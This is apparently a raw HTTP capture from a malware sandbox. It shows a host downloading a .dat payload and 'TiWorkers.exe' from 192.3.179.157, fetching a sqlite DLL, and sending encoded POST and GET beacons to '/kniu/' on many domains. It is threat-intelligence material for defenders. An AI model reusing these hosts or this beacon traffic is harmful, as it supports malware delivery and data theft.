Network Analysis

GET /zw/Zlonloydc.dat HTTP/1.1 Host: 192.3.179.157 Connection: Keep-Alive

HTTP/1.1 200 OK Date: Sat, 30 Sep 2023 04:08:20 GMT Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17 Last-Modified: Fri, 22 Sep 2023 01:33:50 GMT ETag: "35e08-605e899ca0a9d" Accept-Ranges: bytes Content-Length: 220680 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive

GET /690/TiWorkers.exe HTTP/1.1 Host: 192.3.179.157

HTTP/1.1 200 OK Date: Sat, 30 Sep 2023 04:08:22 GMT Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17 Last-Modified: Wed, 10 May 2023 07:05:52 GMT ETag: "2e800-5fb5180993400" Accept-Ranges: bytes Content-Length: 190464 Content-Type: application/x-msdownload

POST /kniu/ HTTP/1.1 Host: www.prosourcegraniteinc.com Connection: close Content-Length: 177 Cache-Control: no-cache Origin: http://www.prosourcegraniteinc.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.prosourcegraniteinc.com/kniu/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 30 Sep 2023 04:08:37 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Encoding: gzip Transfer-Encoding: chunked Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Set-Cookie: NID=511=XwGnPh0XnuF1xAICf8HGI_wZV8qjDPwpfYf3TbpBthrCXIWWNnCGe7S8OF26Mleu-02EXwk9_sQY1Sxmlwr4b1N84Llt3BpAMqvUE1Ybm2CH8kwgjD2pFzglK_yi8aNVqnDdIaWbmlr9UHB2rfDLbC-wkEb42yhVeSmp63b_Weo; expires=Sun, 31-Mar-2024 04:08:37 GMT; path=/; domain=.google.com; HttpOnly Connection: close

GET /kniu/?-z0gsLA=9xFgCh3s8l/k2B8O7aAt9yPceR5ZLMimGcu4Dy10KR8z2IhjbkPtetaY6rVQOSuqKBOJhR+SeENFOh5XwKmANMDhEFCrb4byHJuvuWU=&ue-_=0C5fuT6rcako HTTP/1.1 Host: www.prosourcegraniteinc.com Connection: close

HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 x-ua-compatible: IE=edge Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 30 Sep 2023 04:08:40 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-DQGgBFIwAZTdRU0g81jGOQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/GeoMerchantPrestoSiteUi/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/GeoMerchantPrestoSiteUi/cspreport Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factor=*, ch-ua-platform=*, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: unsafe-none Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Set-Cookie: NID=511=Kq6inIppwGyVAOx8FlpKFzvq-h3iY65LPA94SgDChDn-rHZE24ZL3VZfxQNQtN0iVdMWo7aaFK0G3QLMUGJ5NdhkTsUEhe4vPK8EZM4GvL3D7tpCwJhBkT_3vQ-92kYpIaMJB9_T60fBNUjOWfS1xa4qTaO-aRgtxdlZZ3BY1Vs; expires=Sun, 31-Mar-2024 04:08:40 GMT; path=/; domain=.google.com; HttpOnly Accept-Ranges: none Vary: Accept-Encoding Transfer-Encoding: chunked Connection: close

GET /2021/sqlite-dll-win32-x86-3340000.zip HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E) Host: www.sqlite.org Connection: Keep-Alive

HTTP/1.1 404 Not Found Connection: close Date: Sat, 30 Sep 2023 04:08:43 GMT Content-type: text/html; charset=utf-8

GET /2016/sqlite-dll-win32-x86-3110000.zip HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E) Host: www.sqlite.org Connection: Keep-Alive

HTTP/1.1 200 OK Connection: keep-alive Date: Sat, 30 Sep 2023 04:08:44 GMT Last-Modified: Sat, 30 Jul 2016 15:11:53 GMT Cache-Control: max-age=120 ETag: "m579cc3b9s6906f" Content-type: application/zip; charset=utf-8 Content-length: 430191

POST /kniu/ HTTP/1.1 Host: www.theartboxslidell.com Connection: close Content-Length: 189 Cache-Control: no-cache Origin: http://www.theartboxslidell.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.theartboxslidell.com/kniu/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK date: Sat, 30 Sep 2023 04:08:55 GMT content-type: text/html; charset=utf-8 content-length: 1121 x-request-id: 658e33d0-0116-4615-8648-979b772db17a cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_ZMk+F2QeWrBF0XkeVg3sDC1HFbFaS6gHMZtKbtlKhKx0XbhjN4+tXyHizR6zJiPAKgm8GwfsD7/jv4wPG4k+9w== set-cookie: parking_session=658e33d0-0116-4615-8648-979b772db17a; expires=Sat, 30 Sep 2023 04:23:55 GMT; path=/ connection: close

GET /kniu/?-z0gsLA=pbzwZ3uv6ZLNK9kOZcORaqCkpmWHCySL5KPRtIvuGjYxhe5HL3eyc57X4ozDsIqy99XGgcN1QrQuWuftpLGszPSRgY0zgb673Mjl5VE=&ue-_=0C5fuT6rcako HTTP/1.1 Host: www.theartboxslidell.com Connection: close

HTTP/1.1 200 OK date: Sat, 30 Sep 2023 04:08:57 GMT content-type: text/html; charset=utf-8 content-length: 1417 x-request-id: 32fd9881-8ee4-4501-be93-2117af42b2d1 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_YQhjmYVcA548y8VEdwAE9AXzuZ2+sAsrtybZaoLyVinvsTnETQDZHePrq4uAv1OnTib9f4yjuOKhAyeIhFYLJw== set-cookie: parking_session=32fd9881-8ee4-4501-be93-2117af42b2d1; expires=Sat, 30 Sep 2023 04:23:58 GMT; path=/ connection: close

POST /kniu/ HTTP/1.1 Host: www.xxkxcfkujyeft.xyz Connection: close Content-Length: 189 Cache-Control: no-cache Origin: http://www.xxkxcfkujyeft.xyz User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.xxkxcfkujyeft.xyz/kniu/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Date: Sat, 30 Sep 2023 04:09:03 GMT Server: Apache Content-Length: 267 Connection: close Content-Type: text/html; charset=iso-8859-1

GET /kniu/?-z0gsLA=i0HwDxosD6vP35vKxXt8TqB5hgt09UAmGu6yXsGJ7KHeDbKCAxtr8kYkpXafqSJ5CWKS4JQhNIcZa2fBS8/HEz0POFGF5EDYOp/zgDU=&ue-_=0C5fuT6rcako HTTP/1.1 Host: www.xxkxcfkujyeft.xyz Connection: close

HTTP/1.1 404 Not Found Date: Sat, 30 Sep 2023 04:09:06 GMT Server: Apache Content-Length: 267 Connection: close Content-Type: text/html; charset=iso-8859-1

POST /kniu/ HTTP/1.1 Host: www.onlyleona.com Connection: close Content-Length: 189 Cache-Control: no-cache Origin: http://www.onlyleona.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.onlyleona.com/kniu/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 405 Method Not Allowed Date: Sat, 30 Sep 2023 04:09:11 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close vary: Origin,Access-Control-Request-Method,Access-Control-Request-Headers allow: GET x-content-type-options: nosniff x-xss-protection: 1; mode=block cache-control: no-cache, no-store, max-age=0, must-revalidate,private pragma: no-cache expires: 0 x-frame-options: DENY set-cookie: DO-LB="MTAuMTA4LjAuNzo4MA=="; Max-Age=300; Path=/; HttpOnly; SameSite=Lax CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5gb8eJFy0o%2FAdmEFZ%2BOl5e1wGGcqcomHGbeIt9GaArf%2FvBsKDO31SUynjCVDfAYpAmaaSIJa5NDHTvevmbhMkeMAJo%2FjazuuLt8DhQtUwqIxQmLYZzHplz70zxmf%2F9U1O4IMSg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 80e99be7cf718314-KIX alt-svc: h3=":443"; ma=86400

GET /kniu/?-z0gsLA=eul8o7FRTpzZYv+GqkkzOpE5tEZO7cuUa8jf7YGp4uFOB2eW2y1ALY7ycZgKlFf7jddzg63rMJOPKD43r6dZxMpJnJONv2M7MFgI8Mw=&ue-_=0C5fuT6rcako HTTP/1.1 Host: www.onlyleona.com Connection: close

HTTP/1.1 404 Not Found Date: Sat, 30 Sep 2023 04:09:14 GMT Content-Length: 0 Connection: close vary: Origin,Access-Control-Request-Method,Access-Control-Request-Headers x-content-type-options: nosniff x-xss-protection: 1; mode=block cache-control: no-cache, no-store, max-age=0, must-revalidate,private pragma: no-cache expires: 0 x-frame-options: DENY set-cookie: DO-LB="MTAuMTA4LjAuNzo4MA=="; Max-Age=300; Path=/; HttpOnly; SameSite=Lax CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Dmq8RBSJ%2B1ZatoBPpKOPkVVcqerVebCtCKwSPmnHjIeZQXrAIQT22i0pyRrLG9e5mEF10YF19pmuY%2Fnjr5PYr5hTTVGsdNx9oJziCJTywOwgXMtwYFD%2Bb1knLAHzL%2Bjm%2FjEydw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 80e99bf78cc319e0-KIX alt-svc: h3=":443"; ma=86400

POST /kniu/ HTTP/1.1 Host: www.tsygy.com Connection: close Content-Length: 189 Cache-Control: no-cache Origin: http://www.tsygy.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.tsygy.com/kniu/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Sat, 30 Sep 2023 04:09:19 GMT Connection: close

GET /kniu/?-z0gsLA=bJ36cMi4kupHJe0Hctq9gMewB+uvjmGDqwrfSqfgcqRhOtXAC1zMZIlHhDCyIhSJCFAYjWOLktx1yjWN3ai585tt7uX+B1FmFo0jbF0=&ue-_=0C5fuT6rcako HTTP/1.1 Host: www.tsygy.com Connection: close

HTTP/1.1 404 Not Found Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Sat, 30 Sep 2023 04:09:22 GMT Connection: close

POST /kniu/ HTTP/1.1 Host: www.poultry-symposium.com Connection: close Content-Length: 189 Cache-Control: no-cache Origin: http://www.poultry-symposium.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.poultry-symposium.com/kniu/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK Date: Sat, 30 Sep 2023 04:09:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-CDN-nazwa.pl-location: WAW X-CDN-nazwa.pl-policyused: cdn=disabled Server: Apache/2

GET /kniu/?-z0gsLA=40XX9Ytbs/otsI+0yUtAogrXy8SgXZWV889z9rydVcgoc+JCy8vgR1icdWU6u94Njq5xrtv7NQnpOX1iusCyLYuLxlHkdapdsh1Ymak=&ue-_=0C5fuT6rcako HTTP/1.1 Host: www.poultry-symposium.com Connection: close

HTTP/1.1 200 OK Date: Sat, 30 Sep 2023 04:09:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-CDN-nazwa.pl-location: WAW X-CDN-nazwa.pl-policyused: cdn=disabled Server: Apache/2

POST /kniu/ HTTP/1.1 Host: www.frefire.top Connection: close Content-Length: 189 Cache-Control: no-cache Origin: http://www.frefire.top User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.frefire.top/kniu/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Date: Sat, 30 Sep 2023 04:09:52 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html

GET /kniu/?-z0gsLA=w8rKBuSUIg6smCThP+RZr8URK2cMAOxRwdqHG6Uo67OOMeio1zBa/jWrwyXT3+M/9aqTr1N41d9bzE5WN9beyeWExgAtk5mD8L1zbeQ=&ue-_=0C5fuT6rcako HTTP/1.1 Host: www.frefire.top Connection: close

HTTP/1.1 200 OK Date: Sat, 30 Sep 2023 04:09:55 GMT Server: Apache Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8

POST /kniu/ HTTP/1.1 Host: www.siteapp.fun Connection: close Content-Length: 189 Cache-Control: no-cache Origin: http://www.siteapp.fun User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.siteapp.fun/kniu/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 302 Found cache-control: max-age=0, private, must-revalidate connection: close content-length: 11 date: Sat, 30 Sep 2023 04:10:00 GMT location: http://survey-smiles.com server: nginx set-cookie: sid=39fe1422-5f47-11ee-be23-efcda1ae87b8; path=/; domain=.siteapp.fun; expires=Thu, 18 Oct 2091 07:24:08 GMT; max-age=2147483647; HttpOnly

GET /kniu/?-z0gsLA=6sBKYXqHQWHKIO2IG+2EqtcAj7thqVpOenJ3Aw9YNEL5O7rEWmoX1sx8Xe3NA3a7pLf2GEiO8AkwTW2yzvekojaHRlDYosZEDLTR5OQ=&ue-_=0C5fuT6rcako HTTP/1.1 Host: www.siteapp.fun Connection: close

HTTP/1.1 200 OK accept-ch: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile cache-control: max-age=0, private, must-revalidate connection: close content-length: 614 content-type: text/html; charset=utf-8 date: Sat, 30 Sep 2023 04:10:03 GMT server: nginx set-cookie: sid=3ba2c566-5f47-11ee-944d-efcd29d2c0b9; path=/; domain=.siteapp.fun; expires=Thu, 18 Oct 2091 07:24:11 GMT; max-age=2147483647; HttpOnly

POST /kniu/ HTTP/1.1 Host: www.flyingfoxnb.com Connection: close Content-Length: 189 Cache-Control: no-cache Origin: http://www.flyingfoxnb.com User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.flyingfoxnb.com/kniu/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found server: nginx/1.14.2 date: Sat, 30 Sep 2023 04:10:10 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked x-request-id: 2d071414-2615-4294-8ec0-cf40cc6a4884 x-runtime: 0.051095 content-encoding: gzip connection: close Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

GET /kniu/?-z0gsLA=2khzscf+uoNd4qXDJMvMlsCGRf74adwr4dCZmsSaM5bi7vY8OWwGY+oUQIQbfdmtzbAFku/2CGFb1XO6VHKJWfD6Hx+uzWgInko6T2A=&ue-_=0C5fuT6rcako HTTP/1.1 Host: www.flyingfoxnb.com Connection: close

HTTP/1.1 200 OK server: nginx/1.14.2 date: Sat, 30 Sep 2023 04:10:12 GMT content-type: text/html; charset=utf-8 transfer-encoding: chunked x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen x-permitted-cross-domain-policies: none referrer-policy: strict-origin-when-cross-origin etag: W/"8b01751e3baa1d4917ff22be038d4d30" cache-control: max-age=0, private, must-revalidate x-request-id: abe16a85-230e-4ab5-8cb2-e7b2a5590901 x-runtime: 0.014124 connection: close Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

POST /kniu/ HTTP/1.1 Host: www.palatepursuits.cfd Connection: close Content-Length: 189 Cache-Control: no-cache Origin: http://www.palatepursuits.cfd User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.palatepursuits.cfd/kniu/ Accept-Language: en-US Accept-Encoding: gzip, deflate